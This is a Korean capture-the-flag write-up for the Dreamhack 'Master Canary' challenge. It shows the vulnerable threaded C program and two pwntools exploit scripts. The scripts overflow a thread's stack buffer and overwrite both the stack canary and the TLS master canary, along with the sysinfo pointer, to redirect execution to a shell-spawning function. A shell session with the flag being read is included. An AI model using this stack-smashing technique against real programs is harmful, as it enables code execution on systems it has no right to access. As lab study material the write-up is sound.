[dreamhack] Master Canary writeup

1. 문제

thumbnail
Master Canary

Exploit Tech: Master Canary에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/359

2. 풀이


#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void read_bytes(char *buf, int size) {
  int i;

  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

level2에서 풀었던 master_canary와 거의 똑같은 문제이다.

thumbnail
master_canary writeup

https://jjblog.duckdns.org/ctf%20writeup/2025/06/25/dreamhack-master_canary.html

thread를 하나 생성하고, thread_routine함수를 수행할 때 size에 대한 체크가 없기 때문에 bof가 일어난다.

저번 master_canary에서는 이를 이용해서 canary를 leak한 후, 이를 main 함수에서의 bof를 통해 쉘을 얻었는데 이번에는 leak을 할 수 있는 print 류가 없기 때문에 다른 방법을 찾아야한다.

그때 leak을 할때와 마찬가지로 master canary에 접근이 가능하기 때문에, 단순히 thread에서의 canary만 덮는게 아니라 master canary도 같은 값으로 덮어버리면 문제가 생기지않는다.

그래서 처음에 아래와 같이 exploit을 작성했다. master canary까지의 거리는 thread_routine 함수에서 canary가 스택에 들어온 이후에 breakpoint를 걸고 확인하였다.

from pwn import *

p = process("./mc_thread")
p = remote("host8.dreamhack.games", 17340)
elf = ELF("./mc_thread")

p.sendlineafter(b"Size: ", b"3000")

payload = b"a" * 0x108
payload += b"b" * 8     # fake canary
payload += b"c" * 8     # sfp
payload += p64(elf.symbols["giveshell"])
payload += b"a" * (0x928 - len(payload))
payload += b"b" * 8     # fake master canary

print(len(payload))

p.sendafter(b"Data: ", payload)

p.interactive()

그런데 이대로 하면 에러가 발생해서 이것저것 알아보다가 fs 세그먼트의 0x10영역에 sysinfo 포인터가 들어가는데, 이 주소는 실행가능한 영역의 주소가 들어가야한다.

그래서 이 주소를 그냥 .code영역의 아무 주소나 들어가도록 해서 수행했더니 문제없이 쉘을 얻을 수 있었다.

from pwn import *

p = process("./mc_thread")
#p = remote("host8.dreamhack.games", 17340)
elf = ELF("./mc_thread")

p.sendlineafter(b"Size: ", b"3000")

payload = b"a" * 0x108
payload += b"b" * 8     # fake canary
payload += b"c" * 8     # sfp
payload += p64(elf.symbols["giveshell"])
payload += b"a" * (0x928 - len(payload) - 0x28)
payload += p64(0x4045b0) * 5
payload += b"b" * 8     # fake master canary

print(len(payload))

p.sendafter(b"Data: ", payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/Master_Canary$ python3 e_mc_thread.py 
[+] Starting local process './mc_thread': pid 3092111
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Master_Canary/mc_thread'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
2352
[*] Switching to interactive mode
$ 
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
$ cat flag
DH{**flag**}

해결~